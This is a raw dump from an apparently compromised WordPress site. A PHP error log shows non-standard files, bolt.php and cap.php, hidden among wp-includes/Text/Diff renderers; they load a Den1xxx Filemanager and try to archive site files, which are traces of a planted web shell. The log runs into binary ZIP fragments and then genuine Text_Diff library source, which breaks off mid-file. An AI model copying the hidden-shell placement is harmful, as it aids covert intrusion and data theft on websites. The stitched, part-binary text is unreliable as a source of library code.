[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {
